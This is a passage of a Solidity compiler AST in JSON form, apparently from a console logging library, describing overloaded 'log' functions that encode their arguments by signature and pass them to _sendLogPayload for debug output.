memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":27871,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"36339:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27872,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"36343:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"36339:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27878,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36339:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27870,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"36323:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27879,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36323:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27880,"nodeType":"ExpressionStatement","src":"36323:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"36238:3:15","parameters":{"id":27868,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27861,"mutability":"mutable","name":"p0","nameLocation":"36256:2:15","nodeType":"VariableDeclaration","scope":27882,"src":"36242:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27860,"name":"string","nodeType":"ElementaryTypeName","src":"36242:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27863,"mutability":"mutable","name":"p1","nameLocation":"36274:2:15","nodeType":"VariableDeclaration","scope":27882,"src":"36260:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27862,"name":"string","nodeType":"ElementaryTypeName","src":"36260:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27865,"mutability":"mutable","name":"p2","nameLocation":"36286:2:15","nodeType":"VariableDeclaration","scope":27882,"src":"36278:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27864,"name":"uint256","nodeType":"ElementaryTypeName","src":"36278:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27867,"mutability":"mutable","name":"p3","nameLocation":"36295:2:15","nodeType":"VariableDeclaration","scope":27882,"src":"36290:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27866,"name":"bool","nodeType":"ElementaryTypeName","src":"36290:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"36241:57:15"},"returnParameters":{"id":27869,"nodeType":"ParameterList","parameters":[],"src":"36313:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27905,"nodeType":"FunctionDefinition","src":"36427:198:15","nodes":[],"body":{"id":27904,"nodeType":"Block","src":"36514:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c75696e743235362c6164647265737329","id":27896,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"36564:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_1023f7b286378387abf24b7020dbd1ddde789519cf7f13da727146a2a8a61fc6","typeString":"literal_string \"log(string,string,uint256,address)\""},"value":"log(string,string,uint256,address)"},{"id":27897,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27884,"src":"36602:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27898,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27886,"src":"36606:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27899,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27888,"src":"36610:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27900,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27890,"src":"36614:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1023f7b286378387abf24b7020dbd1ddde789519cf7f13da727146a2a8a61fc6","typeString":"literal_string \"log(string,string,uint256,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":27894,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"36540:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27895,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"36544:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"36540:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27901,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36540:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27893,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"36524:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27902,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36524:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27903,"nodeType":"ExpressionStatement","src":"36524:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"36436:3:15","parameters":{"id":27891,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27884,"mutability":"mutable","name":"p0","nameLocation":"36454:2:15","nodeType":"VariableDeclaration","scope":27905,"src":"36440:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27883,"name":"string","nodeType":"ElementaryTypeName","src":"36440:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27886,"mutability":"mutable","name":"p1","nameLocation":"36472:2:15","nodeType":"VariableDeclaration","scope":27905,"src":"36458:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27885,"name":"string","nodeType":"ElementaryTypeName","src":"36458:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27888,"mutability":"mutable","name":"p2","nameLocation":"36484:2:15","nodeType":"VariableDeclaration","scope":27905,"src":"36476:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27887,"name":"uint256","nodeType":"ElementaryTypeName","src":"36476:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27890,"mutability":"mutable","name":"p3","nameLocation":"36496:2:15","nodeType":"VariableDeclaration","scope":27905,"src":"36488:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27889,"name":"address","nodeType":"ElementaryTypeName","src":"36488:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"36439:60:15"},"returnParameters":{"id":27892,"nodeType":"ParameterList","parameters":[],"src":"36514:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27928,"nodeType":"FunctionDefinition","src":"36631:203:15","nodes":[],"body":{"id":27927,"nodeType":"Block","src":"36724:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c737472696e672c75696e7432353629","id":27919,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"36774:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_8eafb02b2f27070f4cef3c26d2b8a8d041c7bf077352780062dc5a70550ac689","typeString":"literal_string \"log(string,string,string,uint256)\""},"value":"log(string,string,string,uint256)"},{"id":27920,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27907,"src":"36811:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27921,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27909,"src":"36815:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27922,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27911,"src":"36819:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27923,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27913,"src":"36823:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8eafb02b2f27070f4cef3c26d2b8a8d041c7bf077352780062dc5a70550ac689","typeString":"literal_string \"log(string,string,string,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":27917,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"36750:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27918,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"36754:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"36750:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27924,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36750:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27916,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"36734:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27925,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36734:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27926,"nodeType":"ExpressionStatement","src":"36734:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"36640:3:15","parameters":{"id":27914,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27907,"mutability":"mutable","name":"p0","nameLocation":"36658:2:15","nodeType":"VariableDeclaration","scope":27928,"src":"36644:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27906,"name":"string","nodeType":"ElementaryTypeName","src":"36644:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27909,"mutability":"mutable","name":"p1","nameLocation":"36676:2:15","nodeType":"VariableDeclaration","scope":27928,"src":"36662:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27908,"name":"string","nodeType":"ElementaryTypeName","src":"36662:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27911,"mutability":"mutable","name":"p2","nameLocation":"36694:2:15","nodeType":"VariableDeclaration","scope":27928,"src":"36680:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27910,"name":"string","nodeType":"ElementaryTypeName","src":"36680:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27913,"mutability":"mutable","name":"p3","nameLocation":"36706:2:15","nodeType":"VariableDeclaration","scope":27928,"src":"36698:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27912,"name":"uint256","nodeType":"ElementaryTypeName","src":"36698:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"36643:66:15"},"returnParameters":{"id":27915,"nodeType":"ParameterList","parameters":[],"src":"36724:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27951,"nodeType":"FunctionDefinition","src":"36840:208:15","nodes":[],"body":{"id":27950,"nodeType":"Block","src":"36939:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c737472696e672c737472696e6729","id":27942,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"36989:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_de68f20a8e88f68d54c5aa294860ee37b58680632686e2f1101e4e042a2cbcbe","typeString":"literal_string \"log(string,string,string,string)\""},"value":"log(string,string,string,string)"},{"id":27943,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27930,"src":"37025:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27944,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27932,"src":"37029:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27945,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27934,"src":"37033:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27946,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27936,"src":"37037:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_de68f20a8e88f68d54c5aa294860ee37b58680632686e2f1101e4e042a2cbcbe","typeString":"literal_string \"log(string,string,string,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":27940,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"36965:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27941,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"36969:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"36965:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27947,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36965:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27939,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"36949:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27948,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36949:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27949,"nodeType":"ExpressionStatement","src":"36949:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"36849:3:15","parameters":{"id":27937,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27930,"mutability":"mutable","name":"p0","nameLocation":"36867:2:15","nodeType":"VariableDeclaration","scope":27951,"src":"36853:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27929,"name":"string","nodeType":"ElementaryTypeName","src":"36853:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27932,"mutability":"mutable","name":"p1","nameLocation":"36885:2:15","nodeType":"VariableDeclaration","scope":27951,"src":"36871:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27931,"name":"string","nodeType":"ElementaryTypeName","src":"36871:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27934,"mutability":"mutable","name":"p2","nameLocation":"36903:2:15","nodeType":"VariableDeclaration","scope":27951,"src":"36889:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27933,"name":"string","nodeType":"ElementaryTypeName","src":"36889:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27936,"mutability":"mutable","name":"p3","nameLocation":"36921:2:15","nodeType":"VariableDeclaration","scope":27951,"src":"36907:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27935,"name":"string","nodeType":"ElementaryTypeName","src":"36907:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36852:72:15"},"returnParameters":{"id":27938,"nodeType":"ParameterList","parameters":[],"src":"36939:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27974,"nodeType":"FunctionDefinition","src":"37054:197:15","nodes":[],"body":{"id":27973,"nodeType":"Block","src":"37144:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c737472696e672c626f6f6c29","id":27965,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"37194:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_2c1754ed9d3bc50669c3e71e3115dc4403f3cff35aa9b6b58799f80b5496f332","typeString":"literal_string \"log(string,string,string,bool)\""},"value":"log(string,string,string,bool)"},{"id":27966,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27953,"src":"37228:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27967,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27955,"src":"37232:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27968,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27957,"src":"37236:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27969,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27959,"src":"37240:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2c1754ed9d3bc50669c3e71e3115dc4403f3cff35aa9b6b58799f80b5496f332","typeString":"literal_string \"log(string,string,string,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":27963,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"37170:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27964,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"37174:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"37170:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27970,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37170:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27962,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"37154:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27971,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37154:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27972,"nodeType":"ExpressionStatement","src":"37154:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"37063:3:15","parameters":{"id":27960,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27953,"mutability":"mutable","name":"p0","nameLocation":"37081:2:15","nodeType":"VariableDeclaration","scope":27974,"src":"37067:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27952,"name":"string","nodeType":"ElementaryTypeName","src":"37067:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27955,"mutability":"mutable","name":"p1","nameLocation":"37099:2:15","nodeType":"VariableDeclaration","scope":27974,"src":"37085:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27954,"name":"string","nodeType":"ElementaryTypeName","src":"37085:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27957,"mutability":"mutable","name":"p2","nameLocation":"37117:2:15","nodeType":"VariableDeclaration","scope":27974,"src":"37103:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27956,"name":"string","nodeType":"ElementaryTypeName","src":"37103:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27959,"mutability":"mutable","name":"p3","nameLocation":"37126:2:15","nodeType":"VariableDeclaration","scope":27974,"src":"37121:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27958,"name":"bool","nodeType":"ElementaryTypeName","src":"37121:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"37066:63:15"},"returnParameters":{"id":27961,"nodeType":"ParameterList","parameters":[],"src":"37144:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27997,"nodeType":"FunctionDefinition","src":"37257:203:15","nodes":[],"body":{"id":27996,"nodeType":"Block","src":"37350:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c737472696e672c6164647265737329","id":27988,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"37400:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_6d572f449cf1e446ea3ace51a34ce30628f4f1588a39dc5d550cefb210c5bb16","typeString":"literal_string \"log(string,string,string,address)\""},"value":"log(string,string,string,address)"},{"id":27989,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27976,"src":"37437:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27990,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27978,"src":"37441:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27991,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27980,"src":"37445:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27992,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27982,"src":"37449:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6d572f449cf1e446ea3ace51a34ce30628f4f1588a39dc5d550cefb210c5bb16","typeString":"literal_string \"log(string,string,string,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":27986,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"37376:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27987,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"37380:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"37376:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27993,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37376:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27985,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"37360:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) 